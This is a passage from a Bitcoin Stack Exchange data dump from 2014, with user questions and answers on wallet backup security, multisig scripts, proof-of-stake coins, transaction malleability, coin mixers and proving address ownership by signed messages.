Litecoin.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-05-29T19:21:25.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25686" PostTypeId="2" ParentId="25677" CreationDate="2014-05-29T19:59:49.300" Score="2" Body="&lt;p&gt;No, you have added another 2 layers of counterparty risk compared to straight bitcoin transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of just having to manage risk for a 2 party relationship (customer:vendor) or 3 party (customer:processor:vendor) a business is required to manage a minimum of 4 parties (customer:ripple:btc-conversion:vendor) in a single transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that any of these parties could be dishonest (until you have vetted them to a level consistent with your risk tolerance) you have at least 2x the number of opportunities for fraud.&lt;/p&gt;&#xA;" OwnerUserId="5875" LastEditorUserId="5875" LastEditDate="2014-06-06T13:14:29.087" LastActivityDate="2014-06-06T13:14:29.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25690" PostTypeId="2" ParentId="7338" CreationDate="2014-05-30T11:02:42.007" Score="1" Body="&lt;p&gt;OP, here you go:&#xA;Haven't used the service myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://atlasats.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://atlasats.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z8mJs.jpg&quot; alt=&quot;Imgur&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8900" LastActivityDate="2014-05-30T11:02:42.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25691" PostTypeId="1" CreationDate="2014-05-30T12:53:18.710" Score="0" ViewCount="42" Body="&lt;p&gt;I am new to bitcoin. I know a little about bitcoin mining. &#xA;Is there any tutorial or anything that i can read so that i can start bitcoin mining ?&#xA;Maybe a step by step guide or anything ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="17025" LastEditorUserId="5406" LastEditDate="2016-04-25T19:17:48.867" LastActivityDate="2016-04-25T19:17:48.867" Title="BITCOIN tutorials" Tags="|miner-configuration|" AnswerCount="0" CommentCount="3" ClosedDate="2014-05-30T13:02:01.200" ContentLicense="CC BY-SA 3.0" />
  <row Id="25692" PostTypeId="2" ParentId="25637" CreationDate="2014-05-30T14:46:55.203" Score="1" Body="&lt;p&gt;Try &lt;a href=&quot;https://multibit.org/&quot; rel=&quot;nofollow&quot;&gt;Multibit&lt;/a&gt;. It's a light-weight client.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-05-30T14:46:55.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25693" PostTypeId="2" ParentId="22233" CreationDate="2014-05-30T16:46:25.147" Score="1" Body="&lt;p&gt;maybe client is not indexing the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having this problem and apparently running yourcoind -txindex (or txindex=1 in the conf)  and afterwards run with -reindex will fix the issue&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when I run this command it just hangs but it looks like it's actually doing something which might take a long time. I may have to start from scratch with those changes added first&lt;/p&gt;&#xA;" OwnerUserId="17031" LastActivityDate="2014-05-30T16:46:25.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25694" PostTypeId="1" AcceptedAnswerId="25702" CreationDate="2014-05-30T18:09:32.653" Score="2" ViewCount="317" Body="&lt;p&gt;Armory gives the option of Secure Print for making paper backups. I understand that the developers give this option in case your printer stores a cache, or if the wallet could otherwise be compromised in transit from your computer to your printer. In other words, it is not intended as an encrypted paper backup, but just as a feature to help securely print your paper wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, even though this feature was not &lt;em&gt;intended&lt;/em&gt; to make an encrypted paper backup, is it secure enough to enable one to widely disperse paper backups, assuming  only the actual wallet owner controls the generated password (which I think is around 10 characters)? What type of encryption cipher does it use?&lt;/p&gt;&#xA;" OwnerUserId="13411" LastActivityDate="2014-05-31T00:51:42.650" Title="How secure is Secure Print?" Tags="|encryption|armory|paper-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25701" PostTypeId="2" ParentId="11790" CreationDate="2014-05-30T21:20:32.393" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://numerousapp.com&quot; rel=&quot;nofollow&quot;&gt;Numerous&lt;/a&gt; has a &quot;Bitcoin Value&quot; number. You can enable notifications for it.&lt;/p&gt;&#xA;" OwnerUserId="2355" LastActivityDate="2014-05-30T21:20:32.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25702" PostTypeId="2" ParentId="25694" CreationDate="2014-05-31T00:21:01.627" Score="2" Body="&lt;p&gt;The source code (&lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory/blob/master/qtdialogs.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;qtdialogs.py&lt;/a&gt;) has this to say about SecurePrint:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  # USE PRINTER MASK TO PREVENT NETWORK DEVICES FROM SEEING PRIVATE KEYS&#xA;  # Hardcode salt &amp;amp; IV because they should *never* change.&#xA;  # Rainbow tables aren't all that useful here because the user&#xA;  # is not creating the password -- it's *essentially* randomized&#xA;  # with 64-bits of real entropy. (though, it is deterministic&#xA;  # based on the private key, so that printing the backup multiple&#xA;  # times will produce the same password).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So it is 64-bit, or ~10^19 combinations. Armory uses a scrypt-based &lt;a href=&quot;https://datatracker.ietf.org/doc/html/draft-josefsson-scrypt-kdf-01#section-4&quot; rel=&quot;nofollow noreferrer&quot;&gt;key derivation function&lt;/a&gt; for the SecurePrint code. It takes a noticeable amount of time (not long at all, but not seemingly instant) on my computer to calculate the wallet keys/ID from the SecurePrint code. Let's say an attacker has your printout, and it takes 0.1 seconds per attempt. He would need about &lt;strong&gt;58 billion CPU years&lt;/strong&gt; to find the right private key by guessing the SecurePrint code. So yes, it would appear that it is secure enough to disperse paper backups, as long as you're not going to have an extremely valuable (e.g. billions of dollars) wallet.&lt;/p&gt;&#xA;&lt;p&gt;You might consider whether scrypt ASICs (which will come in some form, unless Litecoin and its kin die off) can attack your key as well. I wouldn't expect it to be faster by a factor of 500 billion (which would put the time down near a month), but if you consider this to be a &amp;quot;lifetime wallet&amp;quot;, you might not want to have this as a potential weakest link.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;: I'm not an expert in Armory, just some guy who took a look at the code and knows a bit about cryptography. If you decide to post your SecurePrint-secured paper wallet all over the Internet and someone steals your bitcoins, don't come crying to me.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="-1" LastEditDate="2021-10-07T07:18:56.873" LastActivityDate="2014-05-31T00:51:42.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25703" PostTypeId="1" CreationDate="2014-05-31T01:47:50.980" Score="1" ViewCount="3052" Body="&lt;p&gt;I have a debit card and would like to buy bit coins, is there a way with amex?&lt;/p&gt;&#xA;" OwnerUserId="17036" LastActivityDate="2014-05-31T22:41:13.407" Title="How to buy bitcoins with amex debit card?" Tags="|buy-bitcoins|" AnswerCount="1" CommentCount="2" ClosedDate="2014-06-09T11:31:13.427" ContentLicense="CC BY-SA 3.0" />
  <row Id="25706" PostTypeId="1" AcceptedAnswerId="27048" CreationDate="2014-05-31T22:15:30.053" Score="9" ViewCount="1949" Body="&lt;p&gt;According to &lt;a href=&quot;http://www.blackcoin.co/&quot;&gt;it's official page&lt;/a&gt;, Blackcoin used scrypt as its Proof-of-Work during the phase of initial coins' creation. But now it's purely Proof-of-Stake, and they claim to have a speed of just 10 seconds for first confirmation (and only needing 10 confirmations to get an almost guaranteed transaction).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How does their pure PoS model serve to verify transactions, without the risk of double spends?&lt;/li&gt;&#xA;&lt;li&gt;How can they create blocks as often as 10 seconds without having massive amounts of orphans?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-07-02T15:05:01.010" Title="How can Blackcoin get 1st confirmation in 10 seconds?" Tags="|proof-of-stake|blackcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25707" PostTypeId="2" ParentId="25703" CreationDate="2014-05-31T22:41:13.407" Score="0" Body="&lt;p&gt;Coinbase has options for both debit and credit.&lt;/p&gt;&#xA;" OwnerUserId="16955" LastActivityDate="2014-05-31T22:41:13.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25708" PostTypeId="2" ParentId="22889" CreationDate="2014-06-01T02:46:17.323" Score="1" Body="&lt;p&gt;The safest way to use blockchain.info is to not let it have any private keys until it needs them.  If your coins are [really] in cold storage then you can log onto your blockchain.info wallet with zero risk.  When you are ready to spend, import the private key(s) into blockchain.info.  At this point you are at risk until you spend and then store any remainder back into cold storage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will limit how much someone could steal and it's pretty easy.  However for large transactions a Windows box should never be used because with all the potential attack vectors it's just too risky.&lt;/p&gt;&#xA;" OwnerUserId="13389" LastActivityDate="2014-06-01T02:46:17.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25709" PostTypeId="2" ParentId="16850" CreationDate="2014-06-01T08:49:27.050" Score="1" Body="&lt;p&gt;Kozuch, you linked to another post that is related to this issue.  However, your question and the linked post are two separate issues: the other question is asking why grow the amount of miners in the bitcoin network.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, the question you asked is about the number of hosts.  Specifically, peers, also known as full nodes in the bitcoin world.  These are the people who run the full bitcoin client instead of multibit / electrum, which is the light client since they don't require hosting the blockchain.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of peers on the bitcoin network does not affect the security of the bitcoin network.  Whether or not there is 1,000 people running full nodes or 100,000 people, it makes no difference to the security of the bitcoin network.  What matters isn't the number of peers, but the number of miners.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run a full node myself because I use Armory and Armory requires a full node.  But I am not surprised that the number of people who run full nodes has gone down by 1/3 in the last year.  There are two reasons for this: bandwidth and hard drive space.  I have a 25 Mb internet connection now, which is fast enough that the bitcoin network almost never slows down my internet connection.  But my old (much slower) DSL connection was immensely slowed down by the peer-to-peer bandwidth taken up by bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A potentially bigger issue, at least for me, is hard drive space.  The bitcoin blockchain was about 9 GB when I downloaded it in April 2013.  I just checked my blockchain folder and it's now up to 20.9 GB, which is exponential growth in the size of the blockchain.  My hard drive is only about 221 GB, with 98 GB free.  I expect to get at least a couple more years out of my current computer, and if the blockchain continues its trend of exponential growth, I will eventually need to buy a bigger hard drive to continue hosting a full node.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that's the long answer on why it's likely that the bitcoin network lost a lot of peers in the last year.  Short answer?  Running a full node is rather expensive in terms of bandwidth and hard drive space.&lt;/p&gt;&#xA;" OwnerUserId="3847" LastActivityDate="2014-06-01T08:49:27.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25714" PostTypeId="2" ParentId="25677" CreationDate="2014-06-01T15:42:59.310" Score="2" Body="&lt;p&gt;Yes in the sense that any possible security problem that the Bitcoin system might have cannot affect your payment. But in exchange, any security problem that Ripple might have can affect your payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it's true that with Ripple you also have counterparty risk, in exchange you have a counterparty guarantee. When you have Bitcoins on the Bitcoin network, &quot;all&quot; you have are numbers in other people's computers. You can't sue them or enforce any contract you have with them if something causes your Bitcoins to somehow become lost, and you can't choose your counterparties. With Ripple, you have a counterparty &lt;em&gt;that you chose&lt;/em&gt; who is legally responsible for your Bitcoins in accord with whatever contract you have with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the Bitcoin network were to somehow fail to deliver or hold your Bitcoins, you'd be out of luck. If the Ripple system were to somehow fail to deliver or hold your Bitcoins, your chosen gateway would still owe them to you and you would still be able to enforce your redemption agreement with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a practical matter, I don't think it really makes any difference.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-06-01T15:42:59.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25715" PostTypeId="1" CreationDate="2014-06-01T21:31:56.917" Score="2" ViewCount="96" Body="&lt;p&gt;is it possible to make a multisig tx with the same keys ?&#xA;For example, i got:&#xA;Key A, Key B, Key C&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now A should be able to spend the coins and also B with the help of C. (B and C alone should not be able to spend the coins)&#xA;So 2 keys out of 4 should work but can key 1 and 2 be A (AABC) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="17046" LastActivityDate="2014-06-01T23:31:05.963" Title="Multisig with same keys" Tags="|transactions|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25716" PostTypeId="2" ParentId="14447" CreationDate="2014-06-01T21:32:21.710" Score="0" Body="&lt;p&gt;I upvoted Doctor Evil's response to this question because it has a pretty good explanation of your choices here.  However, in case you have some technical know how, I thought I'd mention another option: hosting a Bitcoin-Armory daemon on your server.  For the full details on this option, see this bitocointalk thread: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=92496.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=92496.0&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I mention this option is that a major issue with hosting a bitcoin service on your site is the possibility of losing your coins to hackers.  This has happened in the past with Coinbase, although the Coindesk article was since taken down so I can't link to it.  Hacks to bitcoin online wallets are quite common and likely to get more and more popular as bitcoin increases in popularity (and thus value).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of this approach is that if you set it up right, it's basically unhackable.  Here's how to make it totally unhackable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Setup a cold wallet with Armory, with an Armory signing service on an offline internet connected computer, a laptop that you can lock up would be ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Setup this daemon so that it can produce new public keys online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Start the daemon on your server and have it setup to give out new bitcoin public keys for every transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's it.  However, this part does really require some technical know how to get the daemon setup on your server.  But if you're willing to do this (or hire someone with the programming expertise to set it up for you), you'll have a bitcoin service on your server that is unhackable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique would mean that all the sales from your site would be 100% bitcoins, but you always have the option of setting up a bitcoin wallet on Coinbase and cashing them out to fiat that way, or through another exchange that you might prefer.&lt;/p&gt;&#xA;" OwnerUserId="3847" LastActivityDate="2014-06-01T21:32:21.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25717" PostTypeId="2" ParentId="25068" CreationDate="2014-06-01T22:13:13.613" Score="3" Body="&lt;p&gt;What do you mean by &quot;public key address&quot; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From one private key, you can generate:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A pay-to-pubkey hash address that uses the uncompressed form of the public key.&lt;/li&gt;&#xA;&lt;li&gt;Pay-to-script hash address, where the script is (1)&lt;/li&gt;&#xA;&lt;li&gt;Pay-to-script hash address, with a  OP_CHECKSIG script&lt;/li&gt;&#xA;&lt;li&gt;Pay-to-script hash addresses, paying to 1-of-1 OP_CHECKMULTISIG with uncompressed pubkey.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And all of the above could use the compressed form of the pubkey to get another 4 addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So one private key can be represented by eight different addresses.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-06-01T23:18:40.803" LastActivityDate="2014-06-01T23:18:40.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25718" PostTypeId="2" ParentId="25715" CreationDate="2014-06-01T23:31:05.963" Score="2" Body="&lt;p&gt;A transaction of the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2 pubkeyA pubkeyA pubkeyB pubkeyC 4 OP_CHECKMULTISIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should do what you want. Give it a try on testnet, shouldn't be hard to whip up a test case using the raw transactions API of Bitcoin Core.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2014-06-01T23:31:05.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25719" PostTypeId="2" ParentId="10867" CreationDate="2014-06-02T02:55:54.530" Score="0" Body="&lt;p&gt;wget --no-check-certificate &lt;a href=&quot;https://www.mercadobitcoin.com.br/api/ticker/&quot; rel=&quot;nofollow&quot;&gt;https://www.mercadobitcoin.com.br/api/ticker/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;returns data that can be parsed relatively easily.&lt;/p&gt;&#xA;" OwnerUserId="8848" LastActivityDate="2014-06-02T02:55:54.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25720" PostTypeId="1" AcceptedAnswerId="25772" CreationDate="2014-06-02T08:21:55.610" Score="3" ViewCount="592" Body="&lt;p&gt;Is there database of orphaned blocks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/orphaned-blocks&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/orphaned-blocks&lt;/a&gt; does not work right now&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody keep them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I am looking for those transactions which were not included in blocks (non-standard, double-spends, not enough fees, etc)&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-07-23T19:50:37.367" Title="Is there database of orphaned blocks?" Tags="|transactions|blockchain|blockchain.info|block|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25722" PostTypeId="1" AcceptedAnswerId="25753" CreationDate="2014-06-02T09:50:42.677" Score="5" ViewCount="1327" Body="&lt;p&gt;&lt;a href=&quot;https://bitlaunder.com/launder-bitcoin&quot;&gt;BitLaunder&lt;/a&gt; (seemingly created by &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/26fz20/the_current_state_of_coinmixing_services/&quot;&gt;syadasti&lt;/a&gt;) writes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Secure Launder renders your bitcoins completely untraceable, even to&#xA;  the most persistent forensic investigator. You deposit bitcoins into&#xA;  your BitLaunder wallet, where we scramble them with coins of other&#xA;  users. When you withdraw your coins, however, we send them from a&#xA;  completely different wallet, &lt;strong&gt;a wallet located in untraceable&#xA;  'onionland'&lt;/strong&gt; where there is no history whatsoever of your coins.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, it is trivial to send bitcoins from a completely different wallet. For example, we can do it ourselves using the default &quot;mixing&quot; services provided by some major exchanges like &lt;a href=&quot;http://bitstamp.net/&quot;&gt;BitStamp&lt;/a&gt; which places bitcoins from all users into a common pool. We can even manually (or via a bot) add in some delay prior to withdrawing so that the transactions are harder to trace. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, is it true to say that technologically speaking, there are no difference between the mixing services provided by BitLaunder and by BitStamp, and they are basically the &lt;em&gt;same thing&lt;/em&gt; except provided by different parties?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does a mixing service located in &quot;untraceable onionland&quot; (I suppose it meant a wallet which only does transactions on the Tor network) give us more security and/or anonymity compared to a mixing service located in the normal Internet?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastActivityDate="2017-11-09T05:48:28.030" Title="BitLaunder's mixer vs &quot;major exchanges&quot; mixer" Tags="|exchanges|privacy|tor|mixing|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25723" PostTypeId="1" AcceptedAnswerId="26956" CreationDate="2014-06-02T10:50:48.340" Score="9" ViewCount="1481" Body="&lt;p&gt;The writer describes it as a &quot;solution to the blockchain consensus problem that does not require mining.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The white paper is viewable here:&#xA;&lt;a href=&quot;http://tendermint.com/docs/tendermint_v04.pdf&quot;&gt;http://tendermint.com/docs/tendermint_v04.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't mean what are the pros and cons in relation to Bitcoin specifically, since I don't believe Bitcoin is likely to take it up. I am thinking more of the possibility of a popular altcoin like Dogecoin adopting it, or perhaps an smaller altcoin e.g. Reddcoin.&lt;/p&gt;&#xA;" OwnerUserId="13851" LastActivityDate="2015-01-02T21:08:49.303" Title="What are pros and cons of Tendermint?" Tags="|dogecoin|proof-of-stake|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25724" PostTypeId="1" CreationDate="2014-06-02T12:07:13.090" Score="2" ViewCount="414" Body="&lt;p&gt;When calling RPC &lt;code&gt;signrawtransaction&lt;/code&gt; it returns a hex-encoded string that contains the raw tx request with its signatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this string:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;malleable?&lt;/li&gt;&#xA;&lt;li&gt;unique?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2016-09-23T11:19:35.137" Title="signrawtransaction hex" Tags="|json-rpc|raw-transaction|transaction-malleability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25725" PostTypeId="1" CreationDate="2014-06-02T13:11:33.363" Score="3" ViewCount="95" Body="&lt;p&gt;What is the best way (in terms of security or resources) to track my outgoing transactions through the RPC API? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to track them down using their tx id and also to have a fallback mechanism for when my outgoing transaction's id changes as a result of a malleability attack.&lt;/p&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2014-06-02T14:46:53.163" Title="Tracking outgoing transactions &amp; malleability attack" Tags="|raw-transaction|transaction-malleability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25726" PostTypeId="2" ParentId="25725" CreationDate="2014-06-02T14:46:53.163" Score="2" Body="&lt;p&gt;I personally would look for newly spent outputs as opposed to TXIDs.  The outputs get spent the exact same way in a malleability attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So create a hash based off of the inputs into the transaction, and when a TX comes in calculate that internal hash and check off of that.&lt;/p&gt;&#xA;" OwnerUserId="13171" LastActivityDate="2014-06-02T14:46:53.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25727" PostTypeId="2" ParentId="14439" CreationDate="2014-06-02T14:56:37.157" Score="1" Body="&lt;p&gt;Complete ripoff.&#xA;Started in mid-2013 w/ 4 BTC.  Although the value went up, the actual BTC amount plummeted to under 1 BTC.  I looked at the trades and it consistently lost money.  The help desk people just kept telling me to be patient and things would even out and go my way.  Wrong!  Like a fool I took their advice and didn't pay attention for a few months, when I looked at my account, I now have only $95 value in my account.  I really believe that they use the Bot to syphon out small % of BTC w/ each transaction and put it into their personal account.  Recently, they stopped responding to my emails, I went to go to the BTC Robot site and its not even there.  Might be a temporary glitch, but it wouldn't surprise me if these Russsians just left w/ everyones money.  Even if they didn't, its a ripoff.&#xA;Stay away!&lt;/p&gt;&#xA;" OwnerUserId="17051" LastActivityDate="2014-06-02T14:56:37.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25728" PostTypeId="2" ParentId="24224" CreationDate="2014-06-02T15:45:30.360" Score="1" Body="&lt;p&gt;Reading your question again, and looking at the comments, I think your question is slightly misinformed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The standard bitcoin QT client is a node, which means that it receives the inventory of all transactions and relays all valid transactions it requests to receive (from the inventories). That's a bit of a mouthfull but read it carefully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has nothing to do with your wallet. It is a standard function of the full node on the peer to peer network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you appear to be mixing is the functionality of the wallet and the functionality of the node. These are two different things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin QT is unlike other (lightweight or SPV) clients which only request information specific to the addresses they hold, when trying to syncronise themselves with the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking to essentially print all transactions that are being relayed through your node, I think this would be pretty straitforward using something like Node.js or just running a continuous regular process which queries Bitcoind using RPC.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-06-02T15:45:30.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25730" PostTypeId="1" AcceptedAnswerId="25731" CreationDate="2014-06-02T18:02:34.130" Score="5" ViewCount="340" Body="&lt;p&gt;This &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/273vi2/if_you_just_received_800_bitcoin_out_of_the_blue/&quot; rel=&quot;nofollow&quot;&gt;reddit thread&lt;/a&gt; discusses a user who lost some coins and is trying to prove that he owns that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a question in how he signed, and what he signed in the message fields, since it's easy to become an imposter the way he did it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should (and should not) be written in the message field to prove ownership of a particular address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples might include:&#xA;- Date&#xA;- Nonce?&#xA;- ID such as Username, email address, full name, pgp public key, etc.&#xA;- To&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5757" LastEditDate="2014-06-03T04:16:52.097" LastActivityDate="2014-06-03T04:16:52.097" Title="What should I say when I &quot;sign&quot; a message, to prove that I own an address?" Tags="|signature|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25731" PostTypeId="2" ParentId="25730" CreationDate="2014-06-02T18:53:55.740" Score="7" Body="&lt;p&gt;The problem stated here is that the message signed was only four uppercase letters: &quot;DJFC.&quot; Apparently this is the person's Reddit username, but it's also a very tiny amount of data which can often be problematic. Mathematically speaking, the more entropy in your signed message the greater confidence it inspires. Simply signing your username is also not typically enough to reasonably prove that the poster and the signer are the same person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would personally take a hint from the sorts of cryptographic handshakes that automated systems use. Typically these involve a server-side nonce and a client-side nonce. Each of you should choose a large chunk of random data from a good entropy source (random.org, etc), publish those nonces publicly and then sign a message which includes both nonces as well as your intended message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having another entity provide a nonce for you to sign is known as a &quot;challenge&quot; and ensures the validity of the signature by providing a large amount of input entropy that the signer can have no prior knowledge of. Including your own nonce and publishing it publicly alongside the signed message proves that the person signing the message also controls the posting account. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The challenge:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;twentyseventy: DJFC, please sign the following nonce in addition to a nonce of your choosing:&#xA;ff 44 45 1a 5d 78 3a 19 a8 45 cf 83 05 cf 86 a1 &#xA;64 1b 1e cf 8e ad 69 3a f2 5f 6e 12 12 2e af 76 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TheDJFC: I have chosen the following nonce:&#xA;96 c4 41 1a 5e 27 22 0c 64 15 6d 3e 02 ea bd e4 &#xA;99 dc 47 82 ba 30 2c db 49 e2 7a bb 87 c4 5f 32 &#xA;&#xA;---- BEGIN SIGNED TEXT ----&#xA;ff 44 45 1a 5d 78 3a 19 a8 45 cf 83 05 cf 86 a1 &#xA;64 1b 1e cf 8e ad 69 3a f2 5f 6e 12 12 2e af 76 &#xA;96 c4 41 1a 5e 27 22 0c 64 15 6d 3e 02 ea bd e4 &#xA;99 dc 47 82 ba 30 2c db 49 e2 7a bb 87 c4 5f 32 &#xA;---- END SIGNED TEXT ----&#xA;&amp;lt;insert signature here&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If security is less paramount, one could perhaps forego the complexities of a nonce-based system and simply sign a much more detailed message. For example, instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message: DJFC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One could sign a message like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message: 2014-06-02 11:43AM PST. I, TheDJFC, in response to a request to be found at the&#xA;specified URL, sign this message as proof of ownership of the specified Bitcoin address.&#xA;Address: 1P6iT6SJe4fZkKdzZBvMGoNj4KLnpSgNSp&#xA;URL: http://www.reddit.com/r/Bitcoin/comments/273vi2/if_you_just_received_800_bitcoin_out_of_the_blue/chx4wjc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why all this drama? Well, I can think of a 